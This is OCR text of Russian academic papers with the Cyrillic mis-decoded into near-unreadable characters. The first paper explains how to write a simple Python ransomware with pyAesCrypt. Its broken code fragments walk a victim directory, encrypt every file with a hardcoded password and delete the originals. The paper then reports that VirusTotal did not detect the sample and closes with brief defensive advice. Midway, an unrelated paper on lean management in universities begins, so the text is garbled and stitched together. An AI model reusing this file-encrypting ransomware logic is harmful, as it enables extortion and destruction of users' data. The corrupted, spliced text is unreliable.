QITOPUTM SBIISICTCS CUMMETPUYHBIM, O3HA4YaeT, YTO B HEM Ui MH(PPOBAHUSA JAHHBIX M HX
JendpoBaHUs UCIIONB3YETCS OJIMH U TOT XK€ KIIFOY [2].

Pa3paGoTka mpocreiimero Bupyca-mudpoBanbumka. [aBHONH 4YacTpio JH000TO
BUpyca-mM(ppoBaIbIIUKa ABISETCA Ta camasi, MuQpyrolas, 4acTh nporpammel. B Hamem
ciydae 3To OyneT G yHKIuS, HCIOb3YIoMIast MeTo bl U3 Onbnuoreku pyAesCrypt. Y cTaHOBUTD
e MOXKHO, BBe/Is B TepMuHai komany: pPip3 install pyAesCrypt.

B nannoif pabore co3maHo ABe mporpammbl, oaHa mudpyeT dainbl, a apyras
BO3BpallaeT MX B HOpPMalbHOE cocTtosiHWe. [y 3TOro co3nmaBanoch naBa (hailma, daitn
mmdpoBanbiiuka encrypt.py, a nmemudposumk decrypt.py. PaccMoTpuM Kom Hamiero
OCHOBHOTO KOMIIOHEHTa, MMHU(poBaIbIIMKa. 11 ycKOpeHUs HamucaHus Koja M Oosee
yI0OHOTO 1 6€30MaCHOT0 TECTUPOBAHUS MYTh K JKEPTBE U MapOoJIb OYAYT YCTAaHOBIICHBI 3apaHee
B Ka4eCTBE IepeMeHHBIX. Jlajee 1Mo JOruKe MporpaMMEbl cienyeT QyHKIHS, KOTOpasi TTO3BOJIUT
nepeMeniaThCsi BHYTPU BEIOpaHHOW AUpEKTOpUH U Mg poBath Bee (aiinbsl BHyTpHU HEE, puc. 1.

walk(dir):
name os.listdir(dir):
path = os.path.join(dir, name)
os.path.isfile(path):
crypt(path)

walk(path)

Pucynox 1 — @ynkuus 06xoza ¢ailyioB B yka3aHHOM KaTaJlore-KepTBe.

B nanno#t ¢pynkuuu B nukie for mporpaMma mpoXOAMTCS MO BCEM AUPEKTOPHSIM I10
YKa3aHHOMY IIyTH, IPOBEPSET SBJSETCS JIU BHIOPAHHBIN 00BEKT (ailyiom U, eciau Ja - mudpyer
€ro, OTIpaBiIsisA B PYHKIUIO crypt, KOTOpas mpe/cTaBieHa Hike. Eciiu jxe 00beKT sSBiseTcs He
¢aitnom, a UPEeKTOpHUel, TO QYHKIUS PEKYPCUBHO BBI3BIBAET CE0s U IIUKJ TIOBTOPSETCS YXKE B
Jpyroi qupektopuu. [lanee 1o joruke mporpamMMsl ciaenyer GyHKIMs MHUPpPoBaHUs, KOTOpas
BBI3BIBaETCS U3 npenbiaymei — walk (puc. 2).

buffer_size = *

pyAesCrypt.encryptFile( (file) (file) + password, buffer_size)
( + (file) + )
os.remove(file)

Pucynox 2 — ®ynkuus mmdposanus Qaiina, Be3siBaeMas u3 Gpyakunu walk.

B nepByto ouepens oHa BBHIBOJUT B TepMHUHAN pa3fefuTeNb, OH HE 00s3aTeieH, HO
MIOMOJKET CZeNaTh BHIBOJ JIOTOB B TEPMHUHAJ 4yTh OoJiee ynTaeMbIM. Jlanee 3amaércst pasmep
Oydepa, mocne yero BbI3bIBaeTCs (PyHKIMS mudpoBaHus Qaiia, B KOTOPYIO MBI Hepeaacrt
Ha3BaHHWE CYIIECTBYOIIEro (aiiyia, Ha3BaHUE Oymaymiero 3amudpoBaHHOTO (aiina, maposb u
pasmep Oydepa, uto 6611 3a1aH panee. [Tocie yero BRIBOAATCS JOTH 00 yIaqYHOM MU (DPOBAHUH
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daiina u ynansercs opuruHai. U mocneaHss 4acTh Kojia — B Hell BbI3bIBaeTCs (yHKIHS 00X0/1a
yYKa3aHHON TUPEKTOPUH, KOTOPAsi caMa BhI3BIBACT (DYHKINIO IU(POBAHUS, a TIOCIIE BHIBOTUTCS
emé OJIMH, OCICIHUM, pa3IenuTeb B Jorn. CaMOYHHUYTOXKECHHUE (aiiyia OTKIFOUYEHO Ha BpeMs
TECTHPOBAHUSI.

Pa3paGorka oOparHoro ckpunra - jaemmdpoBmuka ¢aiiaoB. JloruuHo
MPEINOoNI0KNUTh, 4TO eciu Python MoxxeT mmdpoBarh (ailibl, TO CMOXET U BEPHYTh UX B
HOpMallbHOE cocTOstHHE. JIJIi 3TOro HaMm MOHAJO00WTCS Jpyras Mporpamma, HEMHOTO
OTJIMYAIOIIAs OT MHU(POBAIBIINKA CBOCH LENBIO M IPOTPAMMHBIM KOI0M. J{upeKTopus-KepTBa
¥ TapoJib Takke OyayT yKa3zaHbl 3apaHee B mepeMeHHbIX. [1o Jioruke mporpamMMbl B Hayaie
Takke Oyzner BbI3BaHA (YHKIHMS 00XOAa JUPEKTOPUH, OHA HEMHOTO OTJIMYAeTCS OT
paccMOTpEeHHOH paHee moo0HOoM QyHKIMHU, puc. 3.

walk(dir):

name os.listdir(dir):
path = os.path.join(dir, name)
os.path.isfile(path):

decrypt(path)

walk(path)

Pucynok 3 — @ynkius 06xona ¢ailyioB B yka3aHHOM KaTajore.

N3 ommumii - ucnonp3oBaHue (yHkiuM decrypt M KOHCTpYKLUS try-except Hpu
MOMBITKE pacmM@poBaTh Qailyi, yToObl MpH OMIMOKE CKPUNT MPOAOJKAT BHIIOJHEHUE
¢bynkuuu. Jlanee cneayer riaaBHas OTJIMYUTEIbHAS YepTa MPOrpaMMBbl i paciiupoBKHU (pHC.
4).

decrypt(file):

( * 80)

buffer_size = *

pyAesCrypt.decryptFile( (file) r(os.path.splitext(file)[0]), password, buffer_size)
( + (os.path.splitext(file)[0]) + )

os.remove(file)

Pucynok 4 — @ynkius pacmuppoBky Gailiios.

I'maBHbIM oTnMumeM GyHKIMH sBiisseTcsl ucnonb3oBanue PyAesCrypt.decryptFile
GbyHKIUM, MpeIHa3HaueHHOW Juis paciin@poBKU (ailia U BOCCO3AaHMS €r0 OPUTHHAIBHOMN
Bepcuu. 3aTeM 3amm(poBaHHbIN (ailsl ynanseTcs 3a HeHa00HOCTHIO.

Crpykrypa BuHpyca-muppoBajabmuka. Eciu mnepeducisiTe OCHOBHBIE YEpTHI,
XapaKTepHbIE AJIs MTOJHOIIEHHBIX BUPYCOB-IIH(PPOBATBIINKOB, TO UMHU OYAYT:

— OcHOBHas 4acTh BUpYyCa — caM MOJyJib HH(ppoBaHus (ailioB MOJIb30BATENS, YEM
cloxHee mudpoBaHue, TeM OO0JIblle BEPOATHOCTh, YTO MOJIb30BATENIO MPUAETCS 3aIlIaTUTh
neHbru 3a pacmudpoBky. Ecnu mudpoBanue cnadoe, TO ¢ HUIM MOTYT IIOMOYb aHTUBUPYCHI, a
TaK)ke M0JI0OHBIE YCIIYTH MPEIOCTABIIAIOT U Jpyrue KOMIaHUH.

— Bropoii no Ba)XKHOCTU KOMIIOHEHT — MOJ1YJIb MIOUCKA HY>KHON AUPEKTOPUHU B CUCTEME,
B CITydasix, €CIIM 3JIOYMBIIICHHUK pelIaeT He MuGpoBaTh HAKOMUTEIb UM Pa3ael [ETHKOM.
B Linux mam macOS monbp30BaTeny 3a4acTyr0 HCHOJB3YIOT CTaHIAPTHBIC TUPEKTOPUH IS
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¢aitnos, nzobpaxenuil u T.4. Ho B Windows MHOrue co3iaroT MHbIE IUPEKTOPUH, TIpECIeays
pasHble 1enu. Tak uTo-1100 3710yMBINUIEHHUK MH(PYeT BeCh HAKOMUTENb, WM HAKOIUTEIH,
1100 ke 3apaHee CO3AAHHBIA CKPUIIT caM JTOJDKEH ONPEeNaTh JUPEKTOPHUIO IS aTaKH, YTOOBI
3aXBaTUTh KaK MOXHO OoJibiie ailiios.

—Bupyc nomken kak-mu00 nepenaBaThCsl MOJIb30BATEN0. 3a4acTy0 OHU BBIIAIOTCS 32
Jpyrue (aiiibl ¥ pacchlIaoTCs Kak CllaM ¢ Ha/IeXkKI0M Ha HEONBITHOI'O M10JIb30BaTENs, HO TAKXKe
MOTYT OBITH BCTPOEHBI B Apyrue (aiinsl. Hanpumep, oHE MOTYT BCTpauBaThCs B UCTIOIHSAEMbBIC
(ailsipl yCTaHOBUIMKOB NPUIIOKEHUH, KOTOPBIE 110JIb30BaTEIb MOXKET 3arPY3UTh U3 HHTEPHETA.
B cnyuae ¢ nouckoBUKOM SIHAEKC TakKe MOXHO 3arpy3UTh pekjlaMy Ha CBOM CailiT, 4TOObI OH
ObUI IEPBHIM U3 BBIIAHHBIX I0JIb30BATEIIIO CTPAHUILL, @ HA HEM yxe OyJeT KIaTh BEIMOTaTellb,
napasuTUpPYyOIui B npuiiokeHun. LnppoBanbImk Takke MOXKET BKIIOYATh B ¢€0s 4acTH OT
npyrux BupycoB. K mpumMepy, pacpocTpaHsaThes OT HOIb30BATENS K [10JI30BATENIO KAK YEPBb,
IIpU 3TOM HE cpa3y MM(POBaTh AAHHBIE MOJIb30BATENS, @ NIEPEJaBaTh JEPEBO KAaTajIOroOB HA
cepBep 3JI0yMbILIIEHHHKA, JTU00 ke nepeaaBaTb camu (ailibl, a mudpoBaTh UX 0 KOMAaHJE C
cepsepa, a [IK 6e3 BaxHBIX TaHHBIX OyAyT MPOCTO PacCHpPOCTPAHATH BUPYC, UTO TOXKE OyIeT
IIOJIE3HO 3JIOYMBINUIEHHUKY. CII0)KHOCTh BHpYyCa HAIPSMYH 3aBHUCUT OT YMEHHH €ro
co3naresnsi, HO W3 MPWIOKEHHUs, 4TO ObUIO pa3oOpaHO B JaHHOW padoTe, MBI BHIUM, UYTO
OCHOBHBIX YacTel BUpyca BCEro JMIIb JBe — QYHKUUA MUPPOBAIbIIMKA U (QYHKIMS MOUCKA
JKEPTBBI, & OCTATBHBIC MTPEeTHA3HAYEHBI JJIs1 TOBBIMIEHHS 3 (HeKTUBHOCTH [2].

Hcnonb3oBanue co31aHHOIO BHpyca-mmppoBaibmuka. HeobxonuMo npoBeputh
KOPPEKTHOCTHh Pa0OTHI CO3JJAHHOTO BHUpYca-IH(pOBaNbIINKA. B KauecTBe kepTBbI B TaHHOM
JKCHEpUMEHTE OyIeT UCIOIb30BaThCs IUPEKTOpUs, XpaHsiasa B cede npoekTsl 3 IDE Xcode,
pacnionioskennast o mytu /Users/vladkeig/Downloads/xcode.

ITocne 3amycka mugpoBanblIMKa M 3aBeplIeHUs ero paldoTbl (aiiabl moxydar
pactupenue . crp (puc. 5) u OynyT 3ammdpoBaHbl yKa3aHHBIM B KOJE MapoJieM, a caM (aii
mudpoBaIbIIUKa YAATUTCS, YTOOB! MPEIOTBPATUTh BO3MOXKHOCTD AM3acceMOIUpoBaTh (aiin
Y BBITALIUTh U3 HETO KJIFOY.

Uma v  Pasmep Tun

v [ Views Manka
B SettingsView.swift.crp JOoKyMeHT

B LibraryView.swift.crp JokyMeHT
B AddView.swift.crp [ OKyMeHT
B SavedView.swift.crp JoKyMeHT
B Reader.entitlements.crp JoKyMeHT

Pucynok 5 — Jlupekropusi-xepTBa mnocie padoTsl MHU(PPOBAIBIIUKA.

BouiBoabl. B ganHoit pabore ObuT paccMOTpeH wMeTon Imm¢poBaHUs (ailioB
HEOCTOPOXKHOTO Mosb3oBaTess. OHaKo B JAHHOM citydae ¢aiin 6e3BpesieH A MoIb30BaTels
U CHCTEMBI W OBII IPUMEHEH B CIIEIUAIBHO 3apaHee TMOATOTOBICHHBIX YCIOBHAX. BupychI-
mudpoBaIbIIMKY, HaNUWCaHHbIE TNpo(eccHoHanaMu, MOTYT CaMOCTOSITENIbHO BBIOMPATh
JTUPEKTOPHIO-1IeNb, OO0 MmudpOoBaTh HAaKOMUTENb LeauKkoM. Takxke dopmar ¢aiiios .py
SIBIISIETCS OTKPBITHIM U JTF000# MOXKET OTKPBITH (ailsl u MPOBEPUTH, YEM SBIISETCS MPUIIOKEHUE.
Ho xoxn, nanucanusiit Ha Python, MOXXHO CKOMIMIMPOBATH B MOJHOLEHHBIA HCIIOIHIEMbII
¢aitn. B nanHom ciaydae npu mposepke (Qaiina encrypt.py B VirusTotal BupycoB He ObLIO
obHapyxeHo (puc. 6).
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Pucynoxk 6 — Pe3ysnbraT ckanupoBaHus HCXoqHOTO (aitna Python.

B cxomnumupoBanHoit mox macOS Bepcum VirusTotal Taxxke He 0OOHapYXuI
onacHoctd, (puc. 7). O4eBUIHO TaK MPOMCXOIHUT IOTOMY, 4YTO BUpycC siBisiercst Python-
MPUIIOKEHUEM, HO HEMHOTHE M3 ONBITHBIX 3JIOYMBIIIJICHHUKOB OyayT ucnosb3oBaTh Python,
ckopee C wmim C++, KOTOpbIC MO3BOJISIOT HANPSIMYK padOTaTh C MaMSTHIO U TOJNYYaTh
CKOMIIWJINPOBAHHBIE (PaMIIbI.

ged this file as malicious

26 19:41:17 UTC

Pucynok 7 — Pe3ynbTaT cCKaHUpOBaHMS CKOMITHIIMPOBAHHOTO (haiina.

Ucnonnsiempie daiinpr C/C++ HE0OX0IMMO AM3acceMOIMPOBATh Ul aHAIIN3a, TaKXKe
UX MOXKHO BCTPOUTBH B IPUJIOKEHUSI, KOTOpbIe OyAeT yCTaHABIMBATh MOJb30BaTeNb. Takxke
MOYHO PaclpOCTPaHITh BUPYC-IIU(PPOBAIBIIMK KaK YePBsI, YIPABIISIL UM yIAIEHHO C cepBepa
37I0yMBIIIICHHUKA, ¥ B 3TOM ciiydae 3((EKTHBHOCTh BUPYCAa MOXET ITOBBICHTCS B pasbl.
Bo3MOXKHOCTH BHUpyca OTpaHUYMBAIOTCS JHINL (aHTa3ued pa3padOTUMKa U KadeCTBOM
AHTUBUPYCHBIX CHCTEM, BEIb €CIIM OH OyneT OOHapyKeH, TO CUTHATyphl OYAyT 3aHECEHBI B
0a3bl JaHHBIX.

B kauecTBe 3alIMTHI MOKHO TPEUIOKHUTh YCTAaHOBKY aHTHBHpYca, Hamuuue firewall,
11 OOHAPY>KEHHS 3JI0BPETHOTO KOHTEHTA, 3arpykaeMoro u3 uTepHeTa, ckaunBanue (aitios-
YCTaHOBIIMKOB TOJBKO C O(HIMATBHBIX CAWTOB, NP 3TOM PEKOMEHIYETCS MPOBEPSTH UX
I[EJIOCTHOCTh, CBEpsisi XCIIM, BBUIOKCHHBIC Ha caiTe, ¢ xemamu (aiioB MONTyuYeHHBIMU
MOJIH30BATEIIEM CaMOCTOSTENbHO. ClieyeT HOMHHTB, 4TO OT TaJaHTJIMBO HAITMCAaHHOTO BUpYca
HE CMOXET 3alUTUTh AHTHBUPYC, HO BHUMATEIBHOCTh U OCTOPOKHOCTH MOJIH3JIBATEIIS.
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YK 378.1:338.2

BHEJPEHUE KOHIEIIIVU BEPEKJIUBBIX TEXHOJIOI' M B BBICHINX
YUYEBHbIX 3ABEJIEHUAX

Pomanrwk A.B.
Hayunwui pyxkosooumensv: llomemyn E./]., kano.mexn.nayk, cmapuiuii npenooasameins
Ioy BIIO «/IOHHY»

Annomayus: B cTaThe MPUBOJUTCS aHATU3 MPOIlecca U 0000IIAeTCs OMBIT BHEAPCHHUS MIPUHITUIIOB OEPEIKITHMBOTO
MPOU3BOJICTBA B psific By30B Poccuu. [IpuBeieHa Moieb yIpaBiIeHUs BHEPEHUEM OCPEKITMBBIX TEXHOIOTHIA.
Kntouegvie cnosa: GepexinrBoe Nponu3BoJCTBO, OepexiuBbii BY3, Monens ynpasieHus.

Benenue. bepexximBbie TEXHOJIOTHH/TIPOM3BOCTBO (B 1ep. ¢ anrt. Lean production, lean
manufacturing - «roiiee MPOM3BOACTBOY») - KOHIICTIIMS YIPABJICHHS OpraHM3allieil, KoTopas
OCHOBBIBACTCSI HA IMOCTOSIHHOM YJTYYIIICHUH, CTPEMJICHUIO K MHUHUMH3ALUU PA3IUYHBIX BUIOB
notepb. bepexsmBoe NPOU3BOACTBO MpEAINoNaracT 3aJeHCTBOBAHME KaXKIOrO COTPYAHUKA
NPSANIPUATHSI B TIPOIECC ONTHUMH3AINK, & TaK K€ MAKCHMAIBLHBIA KypC Ha YJIOBJICTBOPCHUE
noTpeOHOCTEH MmoTpeduTEINeH.

WHCTpYMEHTBI, TPUHIMIIBI W METOJABl OCPEKIMBOTO TPOM3BOJICTBA HE HMEIOT
anbTepHaTUBBL. HecMOTpst Ha CBOIO MPOCTOTY, OEPEKIIMBOE MPOU3BOJICTBO SBJISIETCS Hauboiee
3(h(}EeKTUBHBIM  crI0ocOO0OM OOpHOBI C  TMOTEPSAMH M TO3BOJSET JOOUTHCS TOBBIIICHUS
MIPOU3BOUTENILHOCT TPYJla, a TaK e MPOU3BOJCTBA KAYSCTBCHHOW MPOMYKIIMA W OKa3aHUS
yeayr.  IlporpeccuBHpie BY3bl  UCHONB3YIOT — pa3nUyHblE HMHCTPYMEHTHI  MOBBIIICHUS
3pPekTuBHOCTH U (GOPMUPYIOT JUUHYIO IIPOU3BOICTBEHHYIO CUCTEMY.

B 2018 rogy Obma co3mana Accormanus OepesxxnuBbix BY3oB. Jlannas Accormarius
o0beuHsIeT BY 3b1, KOTOpPBIE HE TOJIBKO MPAUMEHSIOT Pa3IMIHbIC HHCTPYMEHTBI, HO U (DOPMHPYIOT
coOCTBeHHYIO (pUIocOdUI0 pa3BUTHS OpraHW3allid, COOCTBEHHOE MHPOBO33pEHHE, TJIe
PYKOBOJMTEIIA M COTPYTHHWKH JCHCTBYIOT OCO3HAHHO C IICJIBIO IOBBIMICHUS dPPEKTHUBHOCTH
paboTBI.

OcHoBHAsI 4aCTh. KonuenryanpHo-mMeTomonorndeckasi HOBU3HA HWJIEUW BHEIPEHUS
TEXHOJIOTUU «OEpPEKITUBOTO TPOU3BOJICTBa» B BBICHIMX YYEOHBIX 3aBEJCHHSIX CBs3aHa C
MPU3HAHUEM CIIOCOOHOCTH CUCTEMBI 00pa30BaHUsI K COBEPIIICHCTBOBAHUIO 32 CUET OFOJHKETHOTO U
BHEOIO/PKETHOTO (PUHAHCHPOBAHUS. DTO TO3BOJISIET 32 CYET BHEOIOIKETHOrO (PrHAHCHPOBAHUS
MPUCIIOCOONUTh K CHUCTEME OepeIMBOro Tpom3BojacTBA BY3bI ¢ TOMOIIBIO BHEAPCHUS
HEOOXOAMMBIX WHCTPYMEHTOB, HANpaBlIEHHbIX W YCTpaHEHHE OMNPEICNEeHHBIX TOTEPb.
[TpumeHenne OepeXITMBBIX TEXHOJIOTHI B CHCTEMY 00pa30BaTEIIbHON OpraHM3aliid BO3MOXKHO B
CIIEYIOIINE HATIPABIICHHUS:

® pPa3BHTHE COBPEMEHHOW WHTETPHPOBAHHON KOHIIETIIMK OCpPEKIMBOTO IMPOU3BOJICTBA B
o0pazoBaHuy,

e pa3paboTka MeponpUATHi 1Mo (HOPMHUPOBAHHIO OOPa30BATEIBHON HH(PPACTPYKTYPHI,
TEXHOJIOTUU BOBJICUCHHUS CTYJICHTOB B 0Opa30BaTEIIbHBIA MPOIECC, MOBHIMICHHS KBATH()UKAIIH
KaJIpOB, CUCTEMBI CTUMYJIMPOBAHHSI TIEpCOHANIA HA TPUMEHEHUE OePEKITUBBIX TEXHOIOTHU;

® pa3BUTHE WH(POPMAIIMOHHOTO 00pa30BaTEIILHOIO MPOCTPAHCTBA ¢ YYETOM IIapaMeTpPOB
OepeKITMBOTO 00PA30BATEILHOTO TTOTOKA B BY3€.

J111st 5TOr0 HEOOXOIMMO PEIIUTh PSIT 33/1a4:

e OpraHm3oBaTh paboyWe MecTa TMpenojaBaTelied H Jpyroro IepcoHana, T.e.
CTaHAapPTU3UPOBATH PAOOUMIA TIPOIIECC, BBITOJIHEHUE COPTUPOBKHU TIOKYMEHTAIIUH H JIP.
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® OpraHn3oBaTh MPO(OPHUEHTAIIMOHHYIO padOTy Ha OCHOBE BBITATHBAIOIIETO MOAXOJA
(aHanmu3a  CTEMKXONAEPOB, COKpAllleHHs IMOTeph Ha IMOJIrOTOBKY  HEBOCTPEOOBAHHBIX
CTICIIMAIIUCTOB, MOBBIIICHUS UIMU/KA YIeOHOW OpraHU3alliN).

® ONITUMH3HPOBATH MOTOK CO3/IaHMS LIEHHOCTEH B 00pa3oBaTEIbHOM IMPOIECCe, YAYUIIUTh
MaTepUalIbHO-TEXHUYECKYI0 0a3y, MpHBJIEYb CTOPOHHHWE WHBECTHIIMH, PACIIUPHUTH CIEKTP
BBIITYCKAEMBIX HAIPABJICHUI MTOATOTOBKH CIICIIHATUCTOB.

® OpraHu30BaTh MPEVIMIUIOMHYIO TPAKTUKY CTYJIEHTOB, KOTOpas Obl IO3BOJIMIA
MIPaKTUKAHTy pa3padoTaTh peKOMEHJAINH, HalpaBJIEHHbIE HA PELICHUE MPOOJIEeM C MOMOIIBIO
HEKOTOPBIX TPHHIMIIOB OEPEXJIMBOIO IPOM3BOJCTBA: KAPTUPOBAHUS IPOM3BOJICTBEHHOTO H
YIIPaBIIEHYECKOr'0 MpoIiecca.

® OpraHM30BaTh TPOXOXKAECHHE KYypCOB TMOBBIIICHUS KBATM(PHUKAMUA TpodeccopcKo-
MPETIo/IaBaTeNIbCKOTO COCTaBa: M3YYSHHUE OCHOBBI KOHIICIIIUU OEPEXITBOTO TIPOU3BOICTBA.

© OOHOBUTH TEMATHKH, BBIMOJHIEMbIX CTYACHTAMU JUIUIOMHBIX M KYpPCOBBIX PadoOT, C
Y4ETOM aKTyaJIIbHOCTH UCCIIEIOBAHUS OEpPEKITUBOTO MPOU3BOICTBA.

® OpraHM30BaTh BBIOJHCHUE HAYYHBIX HCCIICIOBAHWHA IO aKTYaJbHBIM HAIPABJICHUSIM
OepeXITMBOTO MTPOU3BOJICTBA.

echopmupoBaTh  €AMHOE  HMH(OPMAIMOHHO-TEXHOJIOTHUECKOE  00pa3oBaTelIbHOE
MPOCTPAHCTBO.

¢ pa3paboTaTh KOMIUICKCHBIE HHIUKATOPHl U KPUTEPUU OLICHKH TOBBIIICHUS KauecTBa
00pa3zoBaHus MPU BHEAPEHUH TEXHOJIOTHI OEPEIIIMBOTO MPOU3BOJICTBA.

[Iporeccsl, nmporekatonyie B BY3ax MoxHO pa3fenuTh Ha: OCHOBHBIE, BCTIOMOTaTEIbHbIC U
yIpaBieH4Yeckrue. B 00pa3oBarelbHOM U yIpaBlIEeHUECKOM IPOLIECCe U HEKOTOPhIE JICUCTBHS HE
UMEIOT JOOaBIEHHOW IIEHHOCTH, CJEOBaTelibHO, B Lean-meromonornu Takue AEHCTBUS
Ha3bIBAIOTCA MOTepsMu. [Ipu uccienoBaHUM TOTEPETh B YHUBEPCUTETAX OBUTH OIpEIeNeHbl 8
BHUJIOB MTOTEPh, TAKHE KaK: TIEPENPOU3BOICTBO, OKUIAHHS, TIEPEMEIICHHS, M3ITUIITHA 00paboTKa,
W3JIMIIHNAE 3amachl, Ae(eKThl, HEHCIIOIh30BaHHBIN YeTOBEUeCKUi moTeHnuan. JlaHHable morepu
HEOOXOIMMO YCTPaHSTh JUISl MOBBIIIEHHUS d()(GEKTUBHOCTH AEATEIBHOCTH BCEX MOApa3IeNIeHU
y4eOHOM OpraHu3aIyi.

OmHrM W3 TOMYJSIPHBIX M HamOoJiee MPOCTBIX BO BHEJPEHWH METOJOB OEPEXkITBOTO
MIPOM3BOACTBA sBIsIETC MeToA «SS» (pucyHok1). JlaHHBIN MeTO HampaBiieH Ha GOpPMUPOBAHKE
3¢ dexkTuBHOrO paboyero Mecra.
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Pucynok 1. Ctpykrypa GyHKIMOHHPOBAHUS MeTOAa «SS»

B mapre 2018 r. na I Bcepoccuiickoii koHdepenimu «bepeximBbiii BY3» nepsbie
pe3ynbTaThl  JBWKEHUS B HAlpaBlI€HUHM  BHEAPEHUS  OEpPEeXIMBBIX  TEXHOJIOTHM
[IPOJAEMOHCTPUPOBAIN poccuiickue  BY3el.  Hanpumep, Ilaturopckmii =~ memuko-
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dapmanieBTrueckuit  uHCTHTYT ([IM®U) 3amyctinn  cienyromuye OEpeXIUBBIC MPOCKTHI:
«OnTaMU3aIys  SSITeNBHOCTH  (PaKyJIbTeTa TOCIEAUIUIOMHOTO  obOpazoBanus [IM®U»,
«OnTuMuzanyst  paboThl  aJIMUHHCTPATUBHO-XO3SHCTBEHHOT0 otAena», «Co3maHue oTaena
MEHEDKMEHTa KadecTBa M OepexsmBbix TexHojoruii [IM®Uy», «BHenpenne OepexiImBBIX
TEXHOJIOTHI B anTeke rnpou3BoacTBeHHON [IMDIy. B pesynbTaTe BHEIPEHUS STUX MPOECKTOB B
pabore (akynmpTeTa TOCICAMIUIOMHOTO OOpa3oBaHWs ObUT  ONTHMU3UPOBAH  IIPOIIECC
OCYIIECTBICHUS TOKYMEHTO000POTA, UTO MO3BOJIMIIO, IpUMepHO Ha 70 %, yMEHBIIUTE TPYAOBbIC
3aTpaTthl B JieKaHare. bblma HCKIIIOYeHa MOTPeOHOCTh B MOYTOBOW JOCTaBKE JOKYMEHTOB
aOUTYpUEHTOB B JIeKaHAT (MCKIIIOYEHA HEHYKHAs TPAHCIOPTUPOBKA), UCKIFOYCHBI MTOTEPH M3-32
HEMPaBUIBHO 0(OPMIICHHBIX IOKyMEHTOB (OpaK) Win X JyOaupoBaHUs (TIEPETPOU3BOICTBO).

Y amypTckuii rocyaapctBeHHbIH yHEBepcuTeT (Y l'Y) B chepe OepesxmmBoro nponu3BoIcTBa
pa3paboTa NpaKTUKO-OPUEHTUPOBAHHYIO MAaTUCTEPCKYIO IporpaMmy « IKOHOMHUKA OEpEKITUBOTO
MPOU3BO/ICTBA», MOATOTOBKY HAayYHBIX padOT M pean3alliy «I1€PBOM peAaKkLuny OeperIMBbIX
IIPOEKTOB, HAINPABJICHHBIX HA COKpAILIEHUE CPOKa NpHeMa Hay4yHO-NEJAArOrMYecKuX KaJpoB Ha
paboty u ap. Axanus npaktuk [IMOU u Y al'V neMoHcTpupyeT B OCHOBHOM «TOYEUHBII ITOIXO]T,
HaMpaBJICHHbIM HAa COBEPIICHCTBOBAHUE TOJBKO OT/AENBHBIX IMPOLECCOB YEpPE3 UCHOIb30BAHUE
HEKOTOPBIX MHCTPYMEHTOB OEPEXIIMBOIO YIpaBJIEHHUS — 3TO KapTUPOBAHUE MOTOKOB CO3JaHUS
[IEHHOCTH, BBISIBJIEHUE MPOOJIEM U TIOTEPh B HUX U pealu3alis MEPONPUSTHNA MO YIIyUYIICHHUSIM.
Hcnonp3oBaHue JaHHOM METOIMKM TIO3BOJISIET JIAHHBIM Y4€OHBIM 3aBEJCHUSM IOJIYy4aTh
JIOKAJIbHBIE PE3YJILTATHI 10 COKPAIIICHUIO BPEMEHH MPOTEKAHUS MPOLIECCOB, HO HE CIIOCOOCTBYET
JOCTWKEHUIO TJIaBHBIX IIeJed, T.K. HE 3aTparuBaeT B LIEJIOM HW3MEHEHHUE IPOLECCHOM MOJenu
yrpasneHus opranuzaiued. Ilepexon yueOHoro 3aBefeHHsT Ha OEpEXKIIMBOE YIpPaBIICHHE
opraHu3anuell TpedyeT CHCTEMHOTO MOAXOAa, KOTOPBIA MpeaycMaTpuBaeT waeosoruto Lean,
OCHOBaHHYIO Ha YCTPAaHEHHMHU BCEX BHJOB IOTEPb, a TAK JKE OXBAT BCEX OCHOBHBIX HAIIPABICHUI
pa3BUTHS, BOBJIEUEHHE U 00yUeHHE KaJpOBOT0 COCTaBa, MOBBIIIIEHUE KaUeCTBa, PEI0CTaBIIEMbIX
00pa3oBaTeNbHbIX YCIYT.

Hanpumep, Maiikonckuii rocyaapcTBeHHbIM TexHomornyeckuit yHuepcurer (MITY)
pa3paboTan U BHEIPWJI KOHLEMIHUIO OEpEeXIMBBIX TEXHOJOTMH C UCIOIb30BAHUEM CHCTEMHOIO
noaxona. beuto onpezneneHo 7 HampaBieHUN BBINOMHEHUS pabOT: 00pa3oBaHKE, PErHMOHAIbHAS
OusHec-cpena  (BHEOIOPKETHOE  (PMHAHCHPOBAHUE), HH(POPMAMOHHO-KOMMYHHUKAIIMOHHOE
IPOCTPAHCTBO, Hay4HbIe pa3paboTKH, OpraHU3aALMOHHO-YIIPABICHYECKast cepa,
MHOT'OKYJIbTypHasl COLMAJIbHAs Cpefa, UMYIIeCTBeHHas cpena. [lo kaxkmomy W3 JaHHBIX
HalpaBJIeHUH peaM3yloTCsl BHYTPEHHUE O€peiJIMBble NPOEKThl (HampuMep, YiIydlleHHe
npoliecca MpoBepKH padOT CTYIAEHTOB C HUCIOJIB30BAaHUEM IIaTPOpMbl «AHTUIUIAaruat.Bys» Ha
OpPUTMHAJIBHOCTh NPUBE/ICHHBIX JAHHBIX, BBEIEHUE CUCTEMBI JUIsl PEUTUHIOBOW OLIEHKU Hay4HOU
M MEJarorMuyeckor JIEeATENbHOCTM HAay4yHO-TleAaroruyeckux kaapos MITY; orkpeitue
NpOoQUIBHBIX KJIACCOB M MOJATOTOBHUTENFHBIX KYypCOB B IIKOJaX TI. Maiikomna; MoAroToBka K
nposezeHnto  «WorldSkills-2018»; ymporenne mpoueaypsl Ha3Hau€HUS TOCYJApCTBEHHBIX
crunieHguit  cryneHtam  MI'TY; @opmupoBanne cucTeMbl OO€CTIeYeHHUs]  HCIIOJHEHUS
00s13aHHOCTE HMHOCTPaHHBIMM CTYAEHTaMH B YacTH COOJIOJEHUS peXuMa INpeObIBaHUS Ha
teppuropun Poccuiickoit denepanyy; ONTUMHA3ALNS MPOLECCOB 3aKIFOUYEHUST JOIOBOPOB IS
OKa3aHMsl IUIATHBIX 00pa30BaTEeNIbHbIX YCIIYT; Pa3padOTKa CUCTEMbI HABUTAIMU U MapILIPyTU3ALIUH
B KOPITyCax YHUBEPCUTETA U JIPYTHUE).

W3ydeHne MpakTUKU BHEApeHHs OepexuBbIX TexHonoruid B BY3ax P® nokasbiBaer, 4to
3asiBIEHHAas CHUCTEMHOCTh JEMOHCTPHPYETCSl uepe3 peaiu3aluio Lean-mpoektoB u He
NpeyCMaTpUBaeT KOMIUIEKCHBIX MEpOIPUATUIl MO OMNpeJeNIeHuI0 TOTOBHOCTH y4EeOHOM
